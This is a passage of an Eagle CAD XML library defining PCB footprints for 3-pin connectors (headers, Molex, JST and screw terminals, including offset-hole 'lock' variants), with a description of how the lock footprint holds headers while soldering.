x2=\"4.445\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"4.445\" y1=\"1.27\" x2=\"5.715\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"5.715\" y1=\"1.27\" x2=\"6.35\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"6.35\" y1=\"-0.635\" x2=\"5.715\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"5.715\" y1=\"-1.27\" x2=\"4.445\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"4.445\" y1=\"-1.27\" x2=\"3.81\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"1.27\" x2=\"0.635\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"1.27\" x2=\"1.27\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"-0.635\" x2=\"0.635\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"0.635\" x2=\"1.905\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.905\" y1=\"1.27\" x2=\"3.175\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"1.27\" x2=\"3.81\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"-0.635\" x2=\"3.175\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"-1.27\" x2=\"1.905\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.905\" y1=\"-1.27\" x2=\"1.27\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0.635\" x2=\"-1.27\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"1.27\" x2=\"-1.27\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-0.635\" x2=\"-0.635\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"-1.27\" x2=\"-0.635\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"6.35\" y1=\"0.635\" x2=\"6.35\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"3\" x=\"5.08\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<text x=\"-1.3462\" y=\"1.8288\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"4.826\" y1=\"-0.254\" x2=\"5.334\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"2.286\" y1=\"-0.254\" x2=\"2.794\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-0.254\" y1=\"-0.254\" x2=\"0.254\" y2=\"0.254\" layer=\"51\"/>\n</package>\n<package name=\"MOLEX-1X3\">\n<wire x1=\"-1.27\" y1=\"3.048\" x2=\"-1.27\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"6.35\" y1=\"3.048\" x2=\"6.35\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"6.35\" y1=\"3.048\" x2=\"-1.27\" y2=\"3.048\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"6.35\" y1=\"-2.54\" x2=\"5.08\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"5.08\" y1=\"-2.54\" x2=\"0\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"-2.54\" x2=\"-1.27\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"-2.54\" x2=\"0\" y2=\"-1.27\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"-1.27\" x2=\"5.08\" y2=\"-1.27\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"5.08\" y1=\"-1.27\" x2=\"5.08\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" shape=\"square\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\"/>\n<pad name=\"3\" x=\"5.08\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\"/>\n</package>\n<package name=\"SCREWTERMINAL-3.5MM-3\">\n<wire x1=\"-2.3\" y1=\"3.4\" x2=\"9.3\" y2=\"3.4\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"9.3\" y1=\"3.4\" x2=\"9.3\" y2=\"-2.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"9.3\" y1=\"-2.8\" x2=\"9.3\" y2=\"-3.6\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"9.3\" y1=\"-3.6\" x2=\"-2.3\" y2=\"-3.6\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.3\" y1=\"-3.6\" x2=\"-2.3\" y2=\"-2.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.3\" y1=\"-2.8\" x2=\"-2.3\" y2=\"3.4\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"9.3\" y1=\"-2.8\" x2=\"-2.3\" y2=\"-2.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.3\" y1=\"-1.35\" x2=\"-2.7\" y2=\"-1.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.7\" y1=\"-1.35\" x2=\"-2.7\" y2=\"-2.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.7\" y1=\"-2.35\" x2=\"-2.3\" y2=\"-2.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"9.3\" y1=\"3.15\" x2=\"9.7\" y2=\"3.15\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"9.7\" y1=\"3.15\" x2=\"9.7\" y2=\"2.15\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"9.7\" y1=\"2.15\" x2=\"9.3\" y2=\"2.15\" width=\"0.2032\" layer=\"51\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.2\" diameter=\"2.413\" shape=\"square\"/>\n<pad name=\"2\" x=\"3.5\" y=\"0\" drill=\"1.2\" diameter=\"2.413\"/>\n<pad name=\"3\" x=\"7\" y=\"0\" drill=\"1.2\" diameter=\"2.413\"/>\n<text x=\"-1.27\" y=\"2.54\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"1.27\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"1X03_LOCK\">\n<wire x1=\"3.81\" y1=\"0.635\" x2=\"4.445\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"4.445\" y1=\"1.27\" x2=\"5.715\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"5.715\" y1=\"1.27\" x2=\"6.35\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"6.35\" y1=\"-0.635\" x2=\"5.715\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"5.715\" y1=\"-1.27\" x2=\"4.445\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"4.445\" y1=\"-1.27\" x2=\"3.81\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"1.27\" x2=\"0.635\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"1.27\" x2=\"1.27\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"-0.635\" x2=\"0.635\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"0.635\" x2=\"1.905\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.905\" y1=\"1.27\" x2=\"3.175\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"1.27\" x2=\"3.81\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"-0.635\" x2=\"3.175\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"-1.27\" x2=\"1.905\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.905\" y1=\"-1.27\" x2=\"1.27\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0.635\" x2=\"-1.27\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"1.27\" x2=\"-1.27\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-0.635\" x2=\"-0.635\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"-1.27\" x2=\"-0.635\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"6.35\" y1=\"0.635\" x2=\"6.35\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"0.127\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"2\" x=\"2.54\" y=\"-0.127\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"3\" x=\"5.08\" y=\"0.127\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<text x=\"-1.3462\" y=\"1.8288\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"4.826\" y1=\"-0.254\" x2=\"5.334\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"2.286\" y1=\"-0.254\" x2=\"2.794\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-0.254\" y1=\"-0.254\" x2=\"0.254\" y2=\"0.254\" layer=\"51\"/>\n</package>\n<package name=\"1X03_LOCK_LONGPADS\">\n<description>This footprint was designed to help hold the alignment of a through-hole component (i.e.  6-pin header) while soldering it into place.  \nYou may notice that each hole has been shifted either up or down by 0.005 of an inch from it's more standard position (which is a perfectly straight line).  \nThis slight alteration caused the pins (the squares in the middle) to touch the edges of the holes.  Because they are alternating, it causes a \"brace\" \nto hold the component in place.  0.005 has proven to be the perfect amount of \"off-center\" position when using our standard breakaway headers.\nAlthough looks a little odd when you look at the bare footprint, once you have a header in there, the alteration is very hard to notice.  Also,\nif you push a header all the way into place, it is covered up entirely on the bottom side.  This idea of altering the position of holes to aid alignment \nwill be further integrated into the Sparkfun Library for other footprints.  It can help hold any component with 3 or more connection pins.</description>\n<wire x1=\"1.524\" y1=\"-0.127\" x2=\"1.016\" y2=\"-0.127\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"4.064\" y1=\"-0.127\" x2=\"3.556\" y2=\"-0.127\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-0.127\" x2=\"-1.016\" y2=\"-0.127\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-0.127\" x2=\"-1.27\" y2=\"0.8636\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0.8636\" x2=\"-0.9906\" y2=\"1.143\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-0.127\" x2=\"-1.27\" y2=\"-1.1176\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-1.1176\" x2=\"-0.9906\" y2=\"-1.397\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"6.35\" y1=\"-0.127\" x2=\"6.096\" y2=\"-0.127\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"6.35\" y1=\"-0.127\" x2=\"6.35\" y2=\"-1.1176\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"6.35\" y1=\"-1.1176\" x2=\"6.0706\" y2=\"-1.397\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"6.35\" y1=\"-0.127\" x2=\"6.35\" y2=\"0.8636\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"6.35\" y1=\"0.8636\" x2=\"6.0706\" y2=\"1.143\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"2\" x=\"2.54\" y=\"-0.254\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"3\" x=\"5.08\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<text x=\"-1.27\" y=\"1.778\" size=\"1.27\" layer=\"25\" font=\"vector\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-3.302\" size=\"1.27\" layer=\"27\" font=\"vector\">&gt;VALUE</text>\n<rectangle x1=\"-0.2921\" y1=\"-0.4191\" x2=\"0.2921\" y2=\"0.1651\" layer=\"51\"/>\n<rectangle x1=\"2.2479\" y1=\"-0.4191\" x2=\"2.8321\" y2=\"0.1651\" layer=\"51\"/>\n<rectangle x1=\"4.7879\" y1=\"-0.4191\" x2=\"5.3721\" y2=\"0.1651\" layer=\"51\"/>\n</package>\n<package name=\"MOLEX-1X3_LOCK\">\n<wire x1=\"-1.27\" y1=\"3.048\" x2=\"-1.27\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"6.35\" y1=\"3.048\" x2=\"6.35\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"6.35\" y1=\"3.048\" x2=\"-1.27\" y2=\"3.048\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"6.35\" y1=\"-2.54\" x2=\"5.08\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"5.08\" y1=\"-2.54\" x2=\"0\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"-2.54\" x2=\"-1.27\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"-2.54\" x2=\"0\" y2=\"-1.27\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"-1.27\" x2=\"5.08\" y2=\"-1.27\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"5.08\" y1=\"-1.27\" x2=\"5.08\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"0.127\" drill=\"1.016\" diameter=\"1.8796\" shape=\"square\"/>\n<pad name=\"2\" x=\"2.54\" y=\"-0.127\" drill=\"1.016\" diameter=\"1.8796\"/>\n<pad name=\"3\" x=\"5.08\" y=\"0.127\" drill=\"1.016\" diameter=\"1.8796\"/>\n<rectangle x1=\"-0.2921\" y1=\"-0.2921\" x2=\"0.2921\" y2=\"0.2921\" layer=\"51\"/>\n<rectangle x1=\"2.2479\" y1=\"-0.2921\" x2=\"2.8321\" y2=\"0.2921\" layer=\"51\"/>\n<rectangle x1=\"4.7879\" y1=\"-0.2921\" x2=\"5.3721\" y2=\"0.2921\" layer=\"51\"/>\n</package>\n<package name=\"SCREWTERMINAL-3.5MM-3_LOCK.007S\">\n<wire x1=\"-2.3\" y1=\"3.4\" x2=\"9.3\" y2=\"3.4\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"9.3\" y1=\"3.4\" x2=\"9.3\" y2=\"-2.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"9.3\" y1=\"-2.8\" x2=\"9.3\" y2=\"-3.6\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"9.3\" y1=\"-3.6\" x2=\"-2.3\" y2=\"-3.6\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.3\" y1=\"-3.6\" x2=\"-2.3\" y2=\"-2.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.3\" y1=\"-2.8\" x2=\"-2.3\" y2=\"3.4\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"9.3\" y1=\"-2.8\" x2=\"-2.3\" y2=\"-2.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.3\" y1=\"-1.35\" x2=\"-2.7\" y2=\"-1.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.7\" y1=\"-1.35\" x2=\"-2.7\" y2=\"-2.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.7\" y1=\"-2.35\" x2=\"-2.3\" y2=\"-2.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"9.3\" y1=\"3.15\" x2=\"9.7\" y2=\"3.15\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"9.7\" y1=\"3.15\" x2=\"9.7\" y2=\"2.15\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"9.7\" y1=\"2.15\" x2=\"9.3\" y2=\"2.15\" width=\"0.2032\" layer=\"51\"/>\n<circle x=\"0\" y=\"0\" radius=\"0.425\" width=\"0.001\" layer=\"51\"/>\n<circle x=\"3.5\" y=\"0\" radius=\"0.425\" width=\"0.001\" layer=\"51\"/>\n<circle x=\"7\" y=\"0\" radius=\"0.425\" width=\"0.001\" layer=\"51\"/>\n<pad name=\"1\" x=\"-0.1778\" y=\"0\" drill=\"1.2\" diameter=\"2.032\" shape=\"square\"/>\n<pad name=\"2\" x=\"3.5\" y=\"0\" drill=\"1.2\" diameter=\"2.032\"/>\n<pad name=\"3\" x=\"7.1778\" y=\"0\" drill=\"1.2\" diameter=\"2.032\"/>\n<text x=\"-1.27\" y=\"2.54\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"1.27\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"1X03_NO_SILK\">\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"3\" x=\"5.08\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<text x=\"-1.3462\" y=\"1.8288\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"4.826\" y1=\"-0.254\" x2=\"5.334\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"2.286\" y1=\"-0.254\" x2=\"2.794\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-0.254\" y1=\"-0.254\" x2=\"0.254\" y2=\"0.254\" layer=\"51\"/>\n</package>\n<package name=\"1X03_LONGPADS\">\n<wire x1=\"-1.27\" y1=\"0.635\" x2=\"-1.27\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"6.35\" y1=\"0.635\" x2=\"6.35\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.1176\" diameter=\"1.8796\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"1.1176\" diameter=\"1.8796\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"3\" x=\"5.08\" y=\"0\" drill=\"1.1176\" diameter=\"1.8796\" shape=\"long\" rot=\"R90\"/>\n<text x=\"-1.3462\" y=\"2.4638\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-3.81\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"4.826\" y1=\"-0.254\" x2=\"5.334\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"2.286\" y1=\"-0.254\" x2=\"2.794\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-0.254\" y1=\"-0.254\" x2=\"0.254\" y2=\"0.254\" layer=\"51\"/>\n</package>\n<package name=\"JST-3-PTH\">\n<wire x1=\"-4\" y1=\"-6.3\" x2=\"-4\" y2=\"1.5\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-4\" y1=\"1.5\" x2=\"4\" y2=\"1.5\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"4\" y1=\"1.5\" x2=\"4\" y2=\"-6.3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-4\" y1=\"-6.3\" x2=\"-3.3\" y2=\"-6.3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"4\" y1=\"-6.3\" x2=\"3.3\" y2=\"-6.3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.3\" y1=\"-6.3\" x2=\"-3.3\" y2=\"-5\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.3\" y1=\"-6.3\" x2=\"3.3\" y2=\"-5\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"1\" x=\"-2\" y=\"-5\" drill=\"0.7\" diameter=\"1.6256\"/>\n<pad name=\"2\" x=\"0\" y=\"-5\" drill=\"0.7\" diameter=\"1.6256\"/>\n<pad name=\"3\" x=\"2\" y=\"-5\" drill=\"0.7\" diameter=\"1.6256\"/>\n<text x=\"-1.27\" y=\"0.24\" size=\"0.4064\" layer=\"25\">&gt;Name</text>\n<text x=\"-1.27\" y=\"-1.03\" size=\"0.4064\" layer=\"27\">&gt;Value</text>\n<text x=\"-2.4\" y=\"-4.33\" size=\"1.27\" layer=\"51\">+</text>\n<text x=\"-0.4\" y=\"-4.33\" size=\"1.27\" layer=\"51\">-</text>\n<text x=\"1.7\" y=\"-4.13\" size=\"0.8\" layer=\"51\">S</text>\n</package>\n<package name=\"1X03_PP_HOLES_ONLY\">\n<circle x=\"0\" y=\"0\" radius=\"0.635\" width=\"0.127\" layer=\"51\"/>\n<circle x=\"2.54\" y=\"0\" radius=\"0.635\" width=\"0.127\" layer=\"51\"/>\n<circle x=\"5.08\" y=\"0\" radius=\"0.635\" width=\"0.127\" layer=\"51\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"0.9\" diameter=\"0.8128\" rot=\"R90\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"0.9\" diameter=\"0.8128\" rot=\"R90\"/>\n<pad name=\"3\" x=\"5.08\" y=\"0\" drill=\"0.9\" diameter=\"0.8128\" rot=\"R90\"/>\n<hole x=\"0\" y=\"0\" drill=\"1.4732\"/>\n<hole x=\"2.54\" y=\"0\" drill=\"1.4732\"/>\n<hole x=\"5.08\" y=\"0\" drill=\"1.4732\"/>\n</package>\n<package name=\"SCREWTERMINAL-5MM-3\">\n<wire x1=\"-3.1\" y1=\"4.2\" x2=\"13.1\" y2=\"4.2\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"13.1\" y1=\"4.2\" x2=\"13.1\" y2=\"-2.3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"13.1\" y1=\"-2.3\" x2=\"13.1\" y2=\"-3.3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"13.1\" y1=\"-3.3\" x2=\"-3.1\" y2=\"-3.3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.1\" y1=\"-3.3\" x2=\"-3.1\" y2=\"-2.3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.1\" y1=\"-2.3\" x2=\"-3.1\" y2=\"4.2\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"13.1\" y1=\"-2.3\" x2=\"-3.1\" y2=\"-2.3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.1\" y1=\"-1.35\" x2=\"-3.7\" y2=\"-1.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-3.7\" y1=\"-1.35\" x2=\"-3.7\" y2=\"-2.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-3.7\" y1=\"-2.35\" x2=\"-3.1\" y2=\"-2.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"13.1\" y1=\"4\" x2=\"13.7\" y2=\"4\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"13.7\" y1=\"4\" x2=\"13.7\" y2=\"3\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"13.7\" y1=\"3\" x2=\"13.1\" y2=\"3\" width=\"0.2032\" layer=\"51\"/>\n<circle x=\"2.5\" y=\"3.7\" radius=\"0.2828\" width=\"0.127\" layer=\"51\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.3\" diameter=\"2.413\" shape=\"square\"/>\n<pad name=\"2\" x=\"5\" y=\"0\" drill=\"1.3\" diameter=\"2.413\"/>\n<pad name=\"3\" x=\"10\" y=\"0\" drill=\"1.3\" diameter=\"2.413\"/>\n<text x=\"-1.27\" y=\"2.54\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"1.27\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"1X03_LOCK_NO_SILK\">\n<pad name=\"1\" x=\"0\" y=\"0.127\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"2\" x=\"2.54\" y=\"-0.127\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"3\" x=\"5.08\" y=\"0.127\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<text x=\"-1.3462\" y=\"1.8288\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"4.826\" y1=\"-0.254\" x2=\"5.334\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"2.286\" y1=\"-0.254\" x2=\"2.794\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-0.254\" y1=\"-0.254\" x2=\"0.254\" y2=\"0.254\" layer=\"51\"/>\n</package>\n<package name=\"JST-3-SMD\">\n<wire x1=\"-4.99\" y1=\"-2.07\" x2=\"-4.99\" y2=\"-5.57\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-4.99\" y1=\"-5.57\" x2=\"-4.19\" y2=\"-5.57\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-4.19\" y1=\"-5.57\" x2=\"-4.19\" y2=\"-3.07\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-4.19\" y1=\"-3.07\" x2=\"-2.99\" y2=\"-3.07\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.01\" y1=\"-3.07\" x2=\"4.21\" y2=\"-3.07\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"4.21\" y1=\"-3.07\" x2=\"4.21\" y2=\"-5.57\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"4.21\" y1=\"-5.57\" x2=\"5.01\" y2=\"-5.57\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"5.01\" y1=\"-5.57\" x2=\"5.01\" y2=\"-2.07\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.01\" y1=\"1.93\" x2=\"-2.99\" y2=\"1.93\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"1\" x=\"-1.99\" y=\"-4.77\" dx=\"1\" dy=\"4.6\" layer=\"1\"/>\n<smd name=\"3\" x=\"2.01\" y=\"-4.77\" dx=\"1\" dy=\"4.6\" layer=\"1\"/>\n<smd name=\"NC1\" x=\"-4.39\" y=\"0.43\" dx=\"3.4\" dy=\"1.6\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"NC2\" x=\"4.41\" y=\"0.43\" dx=\"3.4\" dy=\"1.6\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"2\" x=\"0.01\" y=\"-4.77\" dx=\"1\" dy=\"4.6\" layer=\"1\"/>\n<text x=\"-2.26\" y=\"0.2\" size=\"0.4064\" layer=\"25\">&gt;Name</text>\n<text x=\"-2.26\" y=\"-1.07\" size=\"0.4064\" layer=\"27\">&gt;Value</text>\n</package>\n<package name=\"1X03-1MM-RA\">\n<wire x1=\"-1\" y1=\"-4.6\" x2=\"1\" y2=\"-4.6\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.5\" y1=\"-2\" x2=\"-2.5\" y2=\"-0.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"1.75\" y1=\"-0.35\" x2=\"2.4997\" y2=\"-0.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.4997\" y1=\"-0.35\" x2=\"2.4997\" 